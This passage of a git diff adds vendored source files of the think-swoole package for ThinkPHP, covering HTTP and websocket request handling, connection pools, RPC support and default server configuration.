Found', + 405 => 'Method Not Allowed', + 406 => 'Not Acceptable', + 407 => 'Proxy Authentication Required', + 408 => 'Request Timeout', + 409 => 'Conflict', + 410 => 'Gone', + 411 => 'Length Required', + 412 => 'Precondition Failed', + 413 => 'Payload Too Large', + 414 => 'URI Too Long', + 415 => 'Unsupported Media Type', + 416 => 'Range Not Satisfiable', + 417 => 'Expectation Failed', + 418 => 'I\'m a teapot', // RFC2324 + 421 => 'Misdirected Request', // RFC7540 + 422 => 'Unprocessable Entity', // RFC4918 + 423 => 'Locked', // RFC4918 + 424 => 'Failed Dependency', // RFC4918 + 425 => 'Too Early', // RFC-ietf-httpbis-replay-04 + 426 => 'Upgrade Required', // RFC2817 + 428 => 'Precondition Required', // RFC6585 + 429 => 'Too Many Requests', // RFC6585 + 431 => 'Request Header Fields Too Large', // RFC6585 + 449 => 'Retry With', + 451 => 'Unavailable For Legal Reasons', // RFC7725 + 500 => 'Internal Server Error', + 501 => 'Not Implemented', + 502 => 'Bad Gateway', + 503 => 'Service Unavailable', + 504 => 'Gateway Timeout', + 505 => 'HTTP Version Not Supported', + 506 => 'Variant Also Negotiates', // RFC2295 + 507 => 'Insufficient Storage', // RFC4918 + 508 => 'Loop Detected', // RFC5842 + 510 => 'Not Extended', // RFC2774 + 511 => 'Network Authentication Required', // RFC6585 + ]; + + /** + * "onRequest" listener. + * + * @param Request $req + * @param Response $res + */ + public function onRequest($req, $res) + { + $args = func_get_args(); + $this->runInSandbox(function (Http $http, Event $event, App $app, Middleware $middleware) use ($args, $req, $res) { + $event->trigger('swoole.request', $args); + + //兼容var-dumper + if (class_exists(VarDumper::class)) { + $middleware->add(ResetVarDumper::class); + } + + $request = $this->prepareRequest($req); + try { + $response = $this->handleRequest($http, $request); + } catch (Throwable $e) { + $response = $this->app + ->make(Handle::class) + ->render($request, $e); + } + + $this->sendResponse($res, $response, $app->cookie); + }); + } + + protected function handleRequest(Http $http, $request) + { + $level = ob_get_level(); + ob_start(); + + $response = $http->run($request); + + $content = $response->getContent(); + + if (ob_get_level() == 0) { + ob_start(); + } + + $http->end($response); + + if (ob_get_length() > 0) { + $response->content(ob_get_contents() . $content); + } + + while (ob_get_level() > $level) { + ob_end_clean(); + } + + return $response; + } + + protected function prepareRequest(Request $req) + { + $header = $req->header ?: []; + $server = $req->server ?: []; + + foreach ($header as $key => $value) { + $server["http_" . str_replace('-', '_', $key)] = $value; + } + + // 重新实例化请求对象 处理swoole请求数据 + /** @var \think\Request $request */ + $request = $this->app->make('request', [], true); + + return $request->withHeader($header) + ->withServer($server) + ->withGet($req->get ?: []) + ->withPost($req->post ?: []) + ->withCookie($req->cookie ?: []) + ->withFiles($req->files ?: []) + ->withInput($req->rawContent()) + ->setBaseUrl($req->server['request_uri']) + ->setUrl($req->server['request_uri'] . (!empty($req->server['query_string']) ? '?' . $req->server['query_string'] : '')) + ->setPathinfo(ltrim($req->server['path_info'], '/')); + } + + protected function sendResponse(Response $res, \think\Response $response, Cookie $cookie) + { + // 发送Header + foreach ($response->getHeader() as $key => $val) { + $res->header($key, $val); + } + + // 发送状态码 + $code = $response->getCode(); + $res->status($code, isset(self::$statusTexts[$code]) ? self::$statusTexts[$code] : 'unknown status'); + + foreach ($cookie->getCookie() as $name => $val) { + [$value, $expire, $option] = $val; + + $res->cookie($name, $value, $expire, $option['path'], $option['domain'], $option['secure'] ? true : false, $option['httponly'] ? true : false); + } + + $content = $response->getContent(); + + $this->sendByChunk($res, $content); + } + + protected function sendByChunk(Response $res, $content) + { + if (!empty($content)) { + $chunkSize = 8192; + + foreach (str_split($content, $chunkSize) as $chunk) { + $res->write($chunk); + } + } + $res->end(); + } +} diff --git a/vendor/topthink/think-swoole/src/concerns/InteractsWithPools.php b/vendor/topthink/think-swoole/src/concerns/InteractsWithPools.php new file mode 100644 index 0000000..9055125 --- /dev/null +++ b/vendor/topthink/think-swoole/src/concerns/InteractsWithPools.php @@ -0,0 +1,64 @@ +app->make(Pool::class); + } + + protected function preparePools() + { + $createPools = function () { + /** @var Pool $pool */ + $pools = $this->getPools(); + + foreach ($this->getConfig('pool', []) as $name => $config) { + $type = Arr::pull($config, 'type'); + if ($type && is_subclass_of($type, ConnectorInterface::class)) { + $pool = new ConnectionPool( + Pool::pullPoolConfig($config), + $this->app->make($type), + $config + ); + $pools->add($name, $pool); + //注入到app + $this->app->instance("swoole.pool.{$name}", $pool); + } + } + }; + + $closePools = function () { + try { + $this->getPools()->closeAll(); + } catch (Exception | Throwable $e) { + + } + }; + + $this->onEvent('workerStart', $createPools); + $this->onEvent('workerStop', $closePools); + $this->onEvent('workerError', $closePools); + $this->onEvent('workerExit', $closePools); + } +} diff --git a/vendor/topthink/think-swoole/src/concerns/InteractsWithRpcClient.php b/vendor/topthink/think-swoole/src/concerns/InteractsWithRpcClient.php new file mode 100644 index 0000000..2998fb2 --- /dev/null +++ b/vendor/topthink/think-swoole/src/concerns/InteractsWithRpcClient.php @@ -0,0 +1,130 @@ +container->getBasePath() . 'rpc.php')) { + $this->rpcServices = (array) include $rpc; + } + + $this->onEvent('workerStart', function () { + $this->bindRpcClientPool(); + }); + } + + protected function bindRpcClientPool() + { + if (!empty($clients = $this->getConfig('rpc.client'))) { + //创建client连接池 + foreach ($clients as $name => $config) { + $pool = new ConnectionPool( + Pool::pullPoolConfig($config), + new Client(), + array_merge( + $config, + [ + 'open_length_check' => true, + 'package_length_type' => Packer::HEADER_PACK, + 'package_length_offset' => 0, + 'package_body_offset' => 8, + ] + ) + ); + $this->getPools()->add("rpc.client.{$name}", $pool); + } + + //绑定rpc接口 + try { + foreach ($this->rpcServices as $name => $abstracts) { + $parserClass = $this->getConfig("rpc.client.{$name}.parser", JsonParser::class); + $parser = $this->app->make($parserClass); + $gateway = new Gateway($this->createRpcConnector($name), $parser); + + foreach ($abstracts as $abstract) { + $this->app->bind($abstract, function () use ($gateway, $name, $abstract) { + return $this->app->invokeClass(Proxy::getClassName($name, $abstract), [$gateway]); + }); + } + } + } catch (\Exception | \Throwable $e) { + + } + } + } + + protected function createRpcConnector($name) + { + $pool = $this->getPools()->get("rpc.client.{$name}"); + + return new class($pool) implements Connector { + protected $pool; + + public function __construct(ConnectionPool $pool) + { + $this->pool = $pool; + } + + public function sendAndRecv($data) + { + if (!$data instanceof \Generator) { + $data = [$data]; + } + + /** @var \Swoole\Coroutine\Client $client */ + $client = $this->pool->borrow(); + + try { + foreach ($data as $string) { + if (!$client->send($string)) { + $this->onError($client); + } + } + + $response = $client->recv(); + + if ($response === false || empty($response)) { + $this->onError($client); + } + + return $response; + } finally { + $this->pool->return($client); + } + } + + protected function onError(\Swoole\Coroutine\Client $client) + { + $client->close(); + throw new RpcClientException(swoole_strerror($client->errCode), $client->errCode); + } + + }; + } + +} diff --git a/vendor/topthink/think-swoole/src/concerns/InteractsWithRpcServer.php b/vendor/topthink/think-swoole/src/concerns/InteractsWithRpcServer.php new file mode 100644 index 0000000..dfc40a9 --- /dev/null +++ b/vendor/topthink/think-swoole/src/concerns/InteractsWithRpcServer.php @@ -0,0 +1,36 @@ +getConfig('rpc.server.enable', false)) { + $host = $this->getConfig('server.host'); + $port = $this->getConfig('rpc.server.port', 9000); + + $rpcServer = $this->getServer()->addlistener($host, $port, SWOOLE_SOCK_TCP); + + /** @var RpcManager $rpcManager */ + $rpcManager = $this->container->make(RpcManager::class); + + $rpcManager->attachToServer($rpcServer); + } + } + +} diff --git a/vendor/topthink/think-swoole/src/concerns/InteractsWithServer.php b/vendor/topthink/think-swoole/src/concerns/InteractsWithServer.php new file mode 100644 index 0000000..7778672 --- /dev/null +++ b/vendor/topthink/think-swoole/src/concerns/InteractsWithServer.php @@ -0,0 +1,224 @@ +getServer()->set([ + 'task_enable_coroutine' => true, + 'send_yield' => true, + 'reload_async' => true, + 'enable_coroutine' => true, + 'max_request' => 0, + 'task_max_request' => 0, + ]); + $this->initialize(); + $this->triggerEvent('init'); + + //热更新 + if ($this->getConfig('hot_update.enable', false)) { + $this->addHotUpdateProcess(); + } + + $this->getServer()->start(); + } + + /** + * 停止服务 + */ + public function stop(): void + { + $this->getServer()->shutdown(); + } + + /** + * "onStart" listener. + */ + public function onStart() + { + $this->setProcessName('master process'); + + $this->triggerEvent("start", func_get_args()); + } + + /** + * The listener of "managerStart" event. + * + * @return void + */ + public function onManagerStart() + { + $this->setProcessName('manager process'); + $this->triggerEvent("managerStart", func_get_args()); + } + + /** + * "onWorkerStart" listener. + * + * @param \Swoole\Http\Server|mixed $server + * + * @throws Exception + */ + public function onWorkerStart($server) + { + Runtime::enableCoroutine( + $this->getConfig('coroutine.enable', true), + $this->getConfig('coroutine.flags', SWOOLE_HOOK_ALL) + ); + + $this->clearCache(); + + $this->setProcessName($server->taskworker ? 'task process' : 'worker process'); + + $this->prepareApplication(); + + $this->triggerEvent("workerStart", $this->app); + } + + /** + * Set onTask listener. + * + * @param mixed $server + * @param Task $task + */ + public function onTask($server, Task $task) + { + $this->runInSandbox(function (Event $event) use ($task) { + $event->trigger('swoole.task', $task); + }, $task->id); + } + + /** + * Set onShutdown listener. + */ + public function onShutdown() + { + $this->triggerEvent('shutdown'); + } + + /** + * @return Server + */ + public function getServer() + { + return $this->container->make(Server::class); + } + + /** + * Set swoole server listeners. + */ + protected function setSwooleServerListeners() + { + foreach ($this->events as $event) { + $listener = Str::camel("on_$event"); + $callback = method_exists($this, $listener) ? [$this, $listener] : function () use ($event) { + $this->triggerEvent($event, func_get_args()); + }; + + $this->getServer()->on($event, $callback); + } + } + + /** + * 热更新 + */ + protected function addHotUpdateProcess() + { + $process = new Process(function () { + $watcher = new FileWatcher( + $this->getConfig('hot_update.include', []), + $this->getConfig('hot_update.exclude', []), + $this->getConfig('hot_update.name', []) + ); + + $watcher->watch(function () { + $this->getServer()->reload(); + }); + }, false, 0); + + $this->addProcess($process); + } + + /** + * Add process to http server + * + * @param Process $process + */ + public function addProcess(Process $process): void + { + $this->getServer()->addProcess($process); + } + + /** + * 清除apc、op缓存 + */ + protected function clearCache() + { + if (extension_loaded('apc')) { + apc_clear_cache(); + } + + if (extension_loaded('Zend OPcache')) { + opcache_reset(); + } + } + + /** + * Set process name. + * + * @param $process + */ + protected function setProcessName($process) + { + // Mac OSX不支持进程重命名 + if (stristr(PHP_OS, 'DAR')) { + return; + } + + $serverName = 'swoole_http_server'; + $appName = $this->container->config->get('app.name', 'ThinkPHP'); + + $name = sprintf('%s: %s for %s', $serverName, $process, $appName); + + swoole_set_process_name($name); + } + + /** + * Log server error. + * + * @param Throwable|Exception $e + */ + public function logServerError(Throwable $e) + { + /** @var Handle $handle */ + $handle = $this->container->make(Handle::class); + + $handle->renderForConsole(new Output(), $e); + + $handle->report($e); + } +} diff --git a/vendor/topthink/think-swoole/src/concerns/InteractsWithSwooleTable.php b/vendor/topthink/think-swoole/src/concerns/InteractsWithSwooleTable.php new file mode 100644 index 0000000..6fd4a19 --- /dev/null +++ b/vendor/topthink/think-swoole/src/concerns/InteractsWithSwooleTable.php @@ -0,0 +1,69 @@ + +// +---------------------------------------------------------------------- + +namespace think\swoole\concerns; + +use Swoole\Table as SwooleTable; +use think\App; +use think\Container; +use think\swoole\Table; + +/** + * Trait InteractsWithSwooleTable + * + * @property Container $container + * @property App $app + */ +trait InteractsWithSwooleTable +{ + /** + * @var Table + */ + protected $currentTable; + + /** + * Register customized swoole tables. + */ + protected function prepareTables() + { + $this->currentTable = new Table(); + $this->registerTables(); + $this->onEvent('workerStart', function () { + $this->app->instance(Table::class, $this->currentTable); + foreach ($this->currentTable->getAll() as $name => $table) { + $this->app->instance("swoole.table.{$name}", $table); + } + }); + } + + /** + * Register user-defined swoole tables. + */ + protected function registerTables() + { + $tables = $this->container->make('config')->get('swoole.tables', []); + + foreach ($tables as $key => $value) { + $table = new SwooleTable($value['size']); + $columns = $value['columns'] ?? []; + foreach ($columns as $column) { + if (isset($column['size'])) { + $table->column($column['name'], $column['type'], $column['size']); + } else { + $table->column($column['name'], $column['type']); + } + } + $table->create(); + + $this->currentTable->add($key, $table); + } + } +} diff --git a/vendor/topthink/think-swoole/src/concerns/InteractsWithWebsocket.php b/vendor/topthink/think-swoole/src/concerns/InteractsWithWebsocket.php new file mode 100644 index 0000000..33ff3d9 --- /dev/null +++ b/vendor/topthink/think-swoole/src/concerns/InteractsWithWebsocket.php @@ -0,0 +1,267 @@ +app->make(Websocket::class); + $websocket->setSender($req->fd); + + $this->runInSandbox(function (Event $event, HandlerInterface $handler, App $app) use ($req) { + $request = $this->prepareRequest($req); + $request = $this->setRequestThroughMiddleware($app, $request); + + if (!$handler->onOpen($req->fd, $request)) { + $event->trigger("swoole.websocket.Connect", $request); + } + }, $req->fd, true); + } + + /** + * "onMessage" listener. + * + * @param Server $server + * @param Frame $frame + */ + public function onMessage($server, $frame) + { + /** @var Websocket $websocket */ + $websocket = $this->app->make(Websocket::class); + $websocket->setSender($frame->fd); + + $this->runInSandbox(function (Event $event, ParserInterface $parser, HandlerInterface $handler) use ($frame) { + if (!$handler->onMessage($frame)) { + $payload = $parser->decode($frame); + + ['event' => $name, 'data' => $data] = $payload; + $name = Str::studly($name); + if (!in_array($name, ['Close', 'Connect'])) { + $event->trigger("swoole.websocket." . $name, $data); + } + } + }, $frame->fd, true); + } + + /** + * "onClose" listener. + * + * @param Server $server + * @param int $fd + * @param int $reactorId + */ + public function onClose($server, $fd, $reactorId) + { + if (!$this->isWebsocketServer($fd) || !$server instanceof Server) { + return; + } + + /** @var Websocket $websocket */ + $websocket = $this->app->make(Websocket::class); + $websocket->setSender($fd); + + $this->runInSandbox(function (Event $event, HandlerInterface $handler) use ($websocket, $fd, $reactorId) { + try { + if (!$handler->onClose($fd, $reactorId)) { + $event->trigger("swoole.websocket.Close"); + } + } finally { + // leave all rooms + $websocket->leave(); + } + }, $fd); + } + + /** + * @param App $app + * @param \think\Request $request + * @return \think\Request + */ + protected function setRequestThroughMiddleware(App $app, \think\Request $request) + { + $middleware = $this->getConfig('websocket.middleware', []); + + return (new Pipeline()) + ->send($request) + ->through(array_map(function ($middleware) use ($app) { + return function ($request, $next) use ($app, $middleware) { + if (is_array($middleware)) { + list($middleware, $param) = $middleware; + } + if (is_string($middleware)) { + $middleware = [$app->make($middleware), 'handle']; + } + return call_user_func($middleware, $request, $next, $param ?? null); + }; + }, $middleware)) + ->then(function ($request) { + return $request; + }); + } + + /** + * Prepare settings if websocket is enabled. + */ + protected function prepareWebsocket() + { + if (!$this->isWebsocketServer = $this->getConfig('websocket.enable', false)) { + return; + } + + $this->events = array_merge($this->events ?? [], $this->wsEvents); + + $this->prepareWebsocketRoom(); + + $this->onEvent('workerStart', function () { + $this->bindWebsocketRoom(); + $this->bindWebsocketParser(); + $this->bindWebsocketHandler(); + $this->prepareWebsocketListener(); + }); + } + + /** + * Check if it's a websocket fd. + * + * @param int $fd + * + * @return bool + */ + protected function isWebsocketServer(int $fd): bool + { + return $this->getServer()->getClientInfo($fd)['websocket_status'] ?? false; + } + + /** + * Prepare websocket room. + */ + protected function prepareWebsocketRoom() + { + // create room instance and initialize + $this->websocketRoom = $this->container->make(Room::class); + $this->websocketRoom->prepare(); + } + + protected function prepareWebsocketListener() + { + $listeners = $this->getConfig('websocket.listen', []); + + foreach ($listeners as $event => $listener) { + $this->app->event->listen('swoole.websocket.' . Str::studly($event), $listener); + } + + $subscribers = $this->getConfig('websocket.subscribe', []); + + foreach ($subscribers as $subscriber) { + $this->app->event->observe($subscriber, 'swoole.websocket.'); + } + + //消息推送任务 + $this->app->event->listen('swoole.task', function (Task $task, App $app) { + if ($this->isWebsocketPushPayload($task->data)) { + $pusher = $app->make(Pusher::class, $task->data['data']); + $pusher->push(); + } + }); + } + + /** + * Prepare websocket handler for onOpen and onClose callback. + * + * @throws \Exception + */ + protected function bindWebsocketHandler() + { + $handlerClass = $this->getConfig('websocket.handler', Handler::class); + + $this->app->bind(HandlerInterface::class, $handlerClass); + + $this->app->make(HandlerInterface::class); + } + + protected function bindWebsocketParser() + { + $parserClass = $this->getConfig('websocket.parser', SocketioParser::class); + + $this->app->bind(ParserInterface::class, $parserClass); + + $this->app->make(ParserInterface::class); + } + + /** + * Bind room instance to app container. + */ + protected function bindWebsocketRoom(): void + { + $this->app->instance(Room::class, $this->websocketRoom); + } + + /** + * Indicates if the payload is websocket push. + * + * @param mixed $payload + * + * @return boolean + */ + public function isWebsocketPushPayload($payload): bool + { + if (!is_array($payload)) { + return false; + } + + return $this->isWebsocketServer + && ($payload['action'] ?? null) === Websocket::PUSH_ACTION + && array_key_exists('data', $payload); + } +} diff --git a/vendor/topthink/think-swoole/src/concerns/ModifyProperty.php b/vendor/topthink/think-swoole/src/concerns/ModifyProperty.php new file mode 100644 index 0000000..018aafb --- /dev/null +++ b/vendor/topthink/think-swoole/src/concerns/ModifyProperty.php @@ -0,0 +1,18 @@ +hasProperty($property)) { + $reflectProperty = $reflectObject->getProperty($property); + $reflectProperty->setAccessible(true); + $reflectProperty->setValue($object, $value); + } + } +} diff --git a/vendor/topthink/think-swoole/src/concerns/WithApplication.php b/vendor/topthink/think-swoole/src/concerns/WithApplication.php new file mode 100644 index 0000000..d5715cb --- /dev/null +++ b/vendor/topthink/think-swoole/src/concerns/WithApplication.php @@ -0,0 +1,118 @@ +container->config->get("swoole.{$name}", $default); + } + + /** + * 触发事件 + * @param $event + * @param $params + */ + protected function triggerEvent(string $event, $params = null): void + { + $this->container->event->trigger("swoole.{$event}", $params); + } + + /** + * 监听事件 + * @param string $event + * @param $listener + * @param bool $first + */ + public function onEvent(string $event, $listener, bool $first = false): void + { + $this->container->event->listen("swoole.{$event}", $listener, $first); + } + + protected function prepareApplication() + { + if (!$this->app instanceof SwooleApp) { + $this->app = new SwooleApp($this->container->getRootPath()); + $this->app->bind(SwooleApp::class, App::class); + $this->app->bind(Server::class, $this->getServer()); + $this->app->bind("swoole.server", Server::class); + //绑定连接池 + if ($this->getConfig('pool.db.enable', true)) { + $this->app->bind('db', Db::class); + } + if ($this->getConfig('pool.cache.enable', true)) { + $this->app->bind('cache', Cache::class); + } + $this->app->initialize(); + $this->prepareConcretes(); + } + } + + /** + * 预加载 + */ + protected function prepareConcretes() + { + $defaultConcretes = ['db', 'cache', 'event']; + + $concretes = array_merge($defaultConcretes, $this->getConfig('concretes', [])); + + foreach ($concretes as $concrete) { + if ($this->app->has($concrete)) { + $this->app->make($concrete); + } + } + } + + /** + * 获取沙箱 + * @return Sandbox + */ + protected function getSandbox() + { + return $this->app->make(Sandbox::class); + } + + /** + * 在沙箱中执行 + * @param Closure $callable + * @param null $fd + * @param bool $persistent + */ + protected function runInSandbox(Closure $callable, $fd = null, $persistent = false) + { + try { + $this->getSandbox()->run($callable, $fd, $persistent); + } catch (Throwable $e) { + $this->logServerError($e); + } + } + +} diff --git a/vendor/topthink/think-swoole/src/config/swoole.php b/vendor/topthink/think-swoole/src/config/swoole.php new file mode 100644 index 0000000..cfd2751 --- /dev/null +++ b/vendor/topthink/think-swoole/src/config/swoole.php @@ -0,0 +1,94 @@ + [ + 'host' => env('SWOOLE_HOST', '127.0.0.1'), // 监听地址 + 'port' => env('SWOOLE_PORT', 80), // 监听端口 + 'mode' => SWOOLE_PROCESS, // 运行模式 默认为SWOOLE_PROCESS + 'sock_type' => SWOOLE_SOCK_TCP, // sock type 默认为SWOOLE_SOCK_TCP + 'options' => [ + 'pid_file' => runtime_path() . 'swoole.pid', + 'log_file' => runtime_path() . 'swoole.log', + 'daemonize' => false, + // Normally this value should be 1~4 times larger according to your cpu cores. + 'reactor_num' => swoole_cpu_num(), + 'worker_num' => swoole_cpu_num(), + 'task_worker_num' => swoole_cpu_num(), + 'enable_static_handler' => true, + 'document_root' => root_path('public'), + 'package_max_length' => 20 * 1024 * 1024, + 'buffer_output_size' => 10 * 1024 * 1024, + 'socket_buffer_size' => 128 * 1024 * 1024, + ], + ], + 'websocket' => [ + 'enable' => false, + 'handler' => Handler::class, + 'parser' => Parser::class, + 'ping_interval' => 25000, + 'ping_timeout' => 60000, + 'room' => [ + 'type' => 'table', + 'table' => [ + 'room_rows' => 4096, + 'room_size' => 2048, + 'client_rows' => 8192, + 'client_size' => 2048, + ], + 'redis' => [ + 'host' => '127.0.0.1', + 'port' => 6379, + 'max_active' => 3, + 'max_wait_time' => 5, + ], + ], + 'listen' => [], + 'subscribe' => [], + ], + 'rpc' => [ + 'server' => [ + 'enable' => false, + 'port' => 9000, + 'services' => [ + ], + ], + 'client' => [ + ], + ], + 'hot_update' => [ + 'enable' => env('APP_DEBUG', false), + 'name' => ['*.php'], + 'include' => [app_path()], + 'exclude' => [], + ], + //连接池 + 'pool' => [ + 'db' => [ + 'enable' => true, + 'max_active' => 3, + 'max_wait_time' => 5, + ], + 'cache' => [ + 'enable' => true, + 'max_active' => 3, + 'max_wait_time' => 5, + ], + //自定义连接池 + ], + 'coroutine' => [ + 'enable' => true, + 'flags' => SWOOLE_HOOK_ALL, + ], + 'tables' => [], + //每个worker里需要预加载以共用的实例 + 'concretes' => [], + //重置器 + 'resetters' => [], + //每次请求前需要清空的实例 + 'instances' => [], + //每次请求前需要重新执行的服务 + 'services' => [], +]; diff --git a/vendor/topthink/think-swoole/src/contract/ResetterInterface.php b/vendor/topthink/think-swoole/src/contract/ResetterInterface.php new file mode 100644 index 0000000..1e39b2c --- /dev/null +++ b/vendor/topthink/think-swoole/src/contract/ResetterInterface.php @@ -0,0 +1,17 @@ + +// +---------------------------------------------------------------------- + +namespace think\swoole\contract\websocket; + +use Swoole\Websocket\Frame; +use think\Request; + +interface HandlerInterface +{ + /** + * "onOpen" listener. + * + * @param int $fd + * @param Request $request + */ + public function onOpen($fd, Request $request); + + /** + * "onMessage" listener. + * only triggered when event handler not found + * + * @param Frame $frame + */ + public function onMessage(Frame $frame); + + /** + * "onClose" listener. + * + * @param int $fd + * @param int $reactorId + */ + public function onClose($fd, $reactorId); +} diff --git a/vendor/topthink/think-swoole/src/contract/websocket/ParserInterface.php b/vendor/topthink/think-swoole/src/contract/websocket/ParserInterface.php new file mode 100644 index 0000000..651d464 --- /dev/null +++ b/vendor/topthink/think-swoole/src/contract/websocket/ParserInterface.php @@ -0,0 +1,29 @@ +offsetGet($key); + } + return $default; + } + + /** + * 判断是否存在临时数据 + * @param string $key + * @return bool + */ + public static function hasData(string $key) + { + return self::getDataObject()->offsetExists($key); + } + + /** + * 写入临时数据 + * @param string $key + * @param $value + */ + public static function setData(string $key, $value) + { + self::getDataObject()->offsetSet($key, $value); + } + + /** + * 删除数据 + * @param string $key + */ + public static function removeData(string $key) + { + if (self::hasData($key)) { + self::getDataObject()->offsetUnset($key); + } + } + + /** + * 如果不存在则写入数据 + * @param string $key + * @param $value + * @return mixed|null + */ + public static function rememberData(string $key, $value) + { + if (self::hasData($key)) { + return self::getData($key); + } + + if ($value instanceof Closure) { + // 获取缓存数据 + $value = $value(); + } + + self::setData($key, $value); + + return $value; + } + + /** + * @internal + * 清空数据 + */ + public static function clear() + { + self::getDataObject()->exchangeArray([]); + } + + /** + * 获取当前协程ID + * @return mixed + */ + public static function getCoroutineId() + { + return Coroutine::getuid(); + } +} diff --git a/vendor/topthink/think-swoole/src/exception/RpcClientException.php b/vendor/topthink/think-swoole/src/exception/RpcClientException.php new file mode 100644 index 0000000..a1ba56c --- /dev/null +++ b/vendor/topthink/think-swoole/src/exception/RpcClientException.php @@ -0,0 +1,10 @@ +getMessage(), $error->getCode()); + $this->error = $error; + } + + public function getError() + { + return $this->error; + } +} diff --git a/vendor/topthink/think-swoole/src/facade/Server.php b/vendor/topthink/think-swoole/src/facade/Server.php new file mode 100644 index 0000000..6f54a18 --- /dev/null +++ b/vendor/topthink/think-swoole/src/facade/Server.php @@ -0,0 +1,22 @@ + +// +---------------------------------------------------------------------- + +namespace think\swoole\facade; + +use think\Facade; + +class Server extends Facade +{ + protected static function getFacadeClass() + { + return 'swoole.server'; + } +} diff --git a/vendor/topthink/think-swoole/src/helpers.php b/vendor/topthink/think-swoole/src/helpers.php new file mode 100644 index 0000000..ec7d82b --- /dev/null +++ b/vendor/topthink/think-swoole/src/helpers.php @@ -0,0 +1,20 @@ +cloner = new VarCloner(); + $this->cloner->addCasters(ReflectionCaster::UNSET_CLOSURE_FILE_INFO); + } + + public function handle(Request $request, Closure $next) + { + $prevHandler = VarDumper::setHandler(function ($var) { + $dumper = new HtmlDumper(); + $dumper->dump($this->cloner->cloneVar($var)); + }); + $response = $next($request); + VarDumper::setHandler($prevHandler); + return $response; + } +} diff --git a/vendor/topthink/think-swoole/src/pool/Cache.php b/vendor/topthink/think-swoole/src/pool/Cache.php new file mode 100644 index 0000000..f68ff69 --- /dev/null +++ b/vendor/topthink/think-swoole/src/pool/Cache.php @@ -0,0 +1,16 @@ +app->config->get('swoole.pool.cache', [])); + } + +} diff --git a/vendor/topthink/think-swoole/src/pool/Client.php b/vendor/topthink/think-swoole/src/pool/Client.php new file mode 100644 index 0000000..f045719 --- /dev/null +++ b/vendor/topthink/think-swoole/src/pool/Client.php @@ -0,0 +1,72 @@ +set($config); + + $client->connect($host, $port, $timeout); + + return $client; + } + + /** + * Disconnect and free resources + * @param \Swoole\Coroutine\Client $connection + * @return mixed + */ + public function disconnect($connection) + { + $connection->close(); + } + + /** + * Whether the connection is established + * @param \Swoole\Coroutine\Client $connection + * @return bool + */ + public function isConnected($connection): bool + { + return $connection->isConnected(); + } + + /** + * Reset the connection + * @param \Swoole\Coroutine\Client $connection + * @param array $config + * @return mixed + */ + public function reset($connection, array $config) + { + + } + + /** + * Validate the connection + * + * @param \Swoole\Coroutine\Client $connection + * @return bool + */ + public function validate($connection): bool + { + return $connection instanceof \Swoole\Coroutine\Client; + } +} diff --git a/vendor/topthink/think-swoole/src/pool/Db.php b/vendor/topthink/think-swoole/src/pool/Db.php new file mode 100644 index 0000000..7f52630 --- /dev/null +++ b/vendor/topthink/think-swoole/src/pool/Db.php @@ -0,0 +1,33 @@ +config->get('swoole.pool.db', [])); + } + + protected function getConnectionConfig(string $name): array + { + $config = parent::getConnectionConfig($name); + + //打开断线重连 + $config['break_reconnect'] = true; + return $config; + } + +} diff --git a/vendor/topthink/think-swoole/src/pool/Proxy.php b/vendor/topthink/think-swoole/src/pool/Proxy.php new file mode 100644 index 0000000..107ead9 --- /dev/null +++ b/vendor/topthink/think-swoole/src/pool/Proxy.php @@ -0,0 +1,108 @@ +pool = new ConnectionPool( + Pool::pullPoolConfig($config), + new class($creator) implements ConnectorInterface { + + protected $creator; + + public function __construct($creator) + { + $this->creator = $creator; + } + + public function connect(array $config) + { + return call_user_func($this->creator); + } + + public function disconnect($connection) + { + //强制回收内存,完成连接释放 + Event::defer(function () { + gc_collect_cycles(); + }); + } + + public function isConnected($connection): bool + { + return true; + } + + public function reset($connection, array $config) + { + + } + + public function validate($connection): bool + { + return true; + } + }, + [] + ); + + $this->pool->init(); + } + + protected function getPoolConnection() + { + return Context::rememberData("connection." . spl_object_id($this), function () { + $connection = $this->pool->borrow(); + + $connection->{static::KEY_RELEASED} = false; + + Coroutine::defer(function () use ($connection) { + //自动归还 + $connection->{static::KEY_RELEASED} = true; + $this->pool->return($connection); + }); + + return $connection; + }); + } + + public function release() + { + $connection = $this->getPoolConnection(); + if ($connection->{static::KEY_RELEASED}) { + return; + } + $this->pool->return($connection); + } + + public function __call($method, $arguments) + { + $connection = $this->getPoolConnection(); + if ($connection->{static::KEY_RELEASED}) { + throw new RuntimeException("Connection already has been released!"); + } + + return $connection->{$method}(...$arguments); + } + +} diff --git a/vendor/topthink/think-swoole/src/pool/proxy/Connection.php b/vendor/topthink/think-swoole/src/pool/proxy/Connection.php new file mode 100644 index 0000000..722a720 --- /dev/null +++ b/vendor/topthink/think-swoole/src/pool/proxy/Connection.php @@ -0,0 +1,241 @@ +__call(__FUNCTION__, func_get_args()); + } + + /** + * 连接数据库方法 + * @access public + * @param array $config 接参数 + * @param integer $linkNum 连接序号 + * @return mixed + */ + public function connect(array $config = [], $linkNum = 0) + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * 设置当前的数据库Db对象 + * @access public + * @param DbManager $db + * @return void + */ + public function setDb(DbManager $db) + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * 设置当前的缓存对象 + * @access public + * @param CacheInterface $cache + * @return void + */ + public function setCache(CacheInterface $cache) + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * 获取数据库的配置参数 + * @access public + * @param string $config 配置名称 + * @return mixed + */ + public function getConfig(string $config = '') + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * 关闭数据库(或者重新连接) + * @access public + */ + public function close() + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * 查找单条记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return array + */ + public function find(BaseQuery $query): array + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * 查找记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return array + */ + public function select(BaseQuery $query): array + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * 插入记录 + * @access public + * @param BaseQuery $query 查询对象 + * @param boolean $getLastInsID 返回自增主键 + * @return mixed + */ + public function insert(BaseQuery $query, bool $getLastInsID = false) + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * 批量插入记录 + * @access public + * @param BaseQuery $query 查询对象 + * @param mixed $dataSet 数据集 + * @return integer + * @throws \Exception + * @throws \Throwable + */ + public function insertAll(BaseQuery $query, array $dataSet = []): int + { + return $this->__call(__FUNCTION__, func_get_args()); + } + + /** + * 更新记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return integer + */ + public function update(BaseQuery $query): int + { + return $this->__call(__FUNCTION__, func_get_args()); 